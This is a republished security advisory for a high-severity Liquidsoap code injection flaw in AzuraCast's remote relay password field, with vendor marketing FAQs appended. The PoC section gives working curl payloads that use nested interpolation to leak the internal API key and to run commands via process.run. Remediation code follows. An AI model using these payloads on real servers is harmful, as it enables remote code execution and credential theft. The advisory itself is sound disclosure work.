Summary
The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.
Details
The Vulnerable Sanitizer
cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:
public static function cleanUpString(?string $string): string
{
$string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
// Remove strings that are interpolated
$string = preg_replace(
'/#{(.*)}/U', // Ungreedy: matches minimum chars to first }
'$1',
$string
);
$string = preg_replace(
'/\$\((.*)\)/U',
'$1',
$string ?? ''
);
return $string ?? '';
}
The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:
- Regex finds
#{at position 0 - Ungreedy
.*matches#{EXPR(stops at the first}) - Full match consumed:
#{#{EXPR}, replacement with capture group$1yields:#{EXPR - The trailing
}is appended by the regex engine (it was outside the match) - Final result:
#{EXPR}, a valid Liquidsoap string interpolation expression
The Incomplete Patch
Commit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():
ConfigWriter.php:1208-1215:
$password = self::cleanUpString($source->password); // Still vulnerable
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"'; // Double-quoted = interpolated
The password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.
Why toRawString() Is Safe
toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.
The Input Path
- Attacker sends
PUT /api/station/{station_id}/remote/{id}withsource_passwordcontaining the nested payload - Entity setter truncates to 100 chars via
mb_substr(payloads fit within this limit) - No validation on password content
- On station config regeneration,
ConfigWriter::getOutputString()callscleanUpString()on the password - Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string
- Liquidsoap evaluates the interpolation when loading the config
PoC
Step 1: API Key Disclosure (38 chars)
# Set malicious password on an existing remote relay
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'
After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.
When Liquidsoap loads the config, the generated line:
password = "#{settings.azuracast.api_key()}"
evaluates to the internal API key value, which is then sent as the password to the remote relay server, observable by the attacker if they control the relay endpoint.
Step 2: Remote Code Execution (54 chars)
# RCE payload using string.char() to bypass quote filtering
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-Key: $API_KEY" \
-H "Content-Type: application/json" \
-d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}'
After processing: #{process.run(string.char(105)^string.char(100))} → executes id command.
string.char() and the ^ concatenation operator are used to build the command string without double quotes (which cleanUpString replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).
Step 3: Trigger config regeneration
Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.
The same bypass works with $($(EXPR)) via the second regex /\$\((.*)\)/U.
Impact
- Arbitrary code execution within the Liquidsoap process container via
process.run() - Internal API key disclosure via
settings.azuracast.api_key(), granting the attacker full internal API access to the station - File read/write within the Liquidsoap container via Liquidsoap's file operations
- Station disruption, malicious config can crash the Liquidsoap process
- Low privilege bar, requires only the
RemoteRelaysstation permission, not global admin
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
GHSA-Q4PH-8X8G-95F8 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Replace cleanUpString() with toRawString() for the password field, consistent with the fix applied to all other fields in commit ff49ef4. The Shoutcast suffix append needs adjustment to work with raw strings:
// Before (vulnerable):
$password = self::cleanUpString($source->password);
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = "' . $password . '"';
// After (safe):
$password = $source->password ?? '';
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = 'password = ' . self::toRawString($password);
This uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.
Additionally, consider removing cleanUpString() entirely or marking it as deprecated, since toRawString() is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.
Frequently Asked Questions
- What is GHSA-Q4PH-8X8G-95F8? GHSA-Q4PH-8X8G-95F8 is a high-severity code injection vulnerability in azuracast/azuracast (composer), affecting versions <= 0.23.5. It is fixed in 0.23.6. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is GHSA-Q4PH-8X8G-95F8? GHSA-Q4PH-8X8G-95F8 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of azuracast/azuracast are affected by GHSA-Q4PH-8X8G-95F8? azuracast/azuracast (composer) versions <= 0.23.5 is affected.
- Is there a fix for GHSA-Q4PH-8X8G-95F8? Yes. GHSA-Q4PH-8X8G-95F8 is fixed in 0.23.6. Upgrade to this version or later.
- Is GHSA-Q4PH-8X8G-95F8 exploitable, and should I be worried? Whether GHSA-Q4PH-8X8G-95F8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-Q4PH-8X8G-95F8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-Q4PH-8X8G-95F8? Upgrade
azuracast/azuracastto 0.23.6 or later.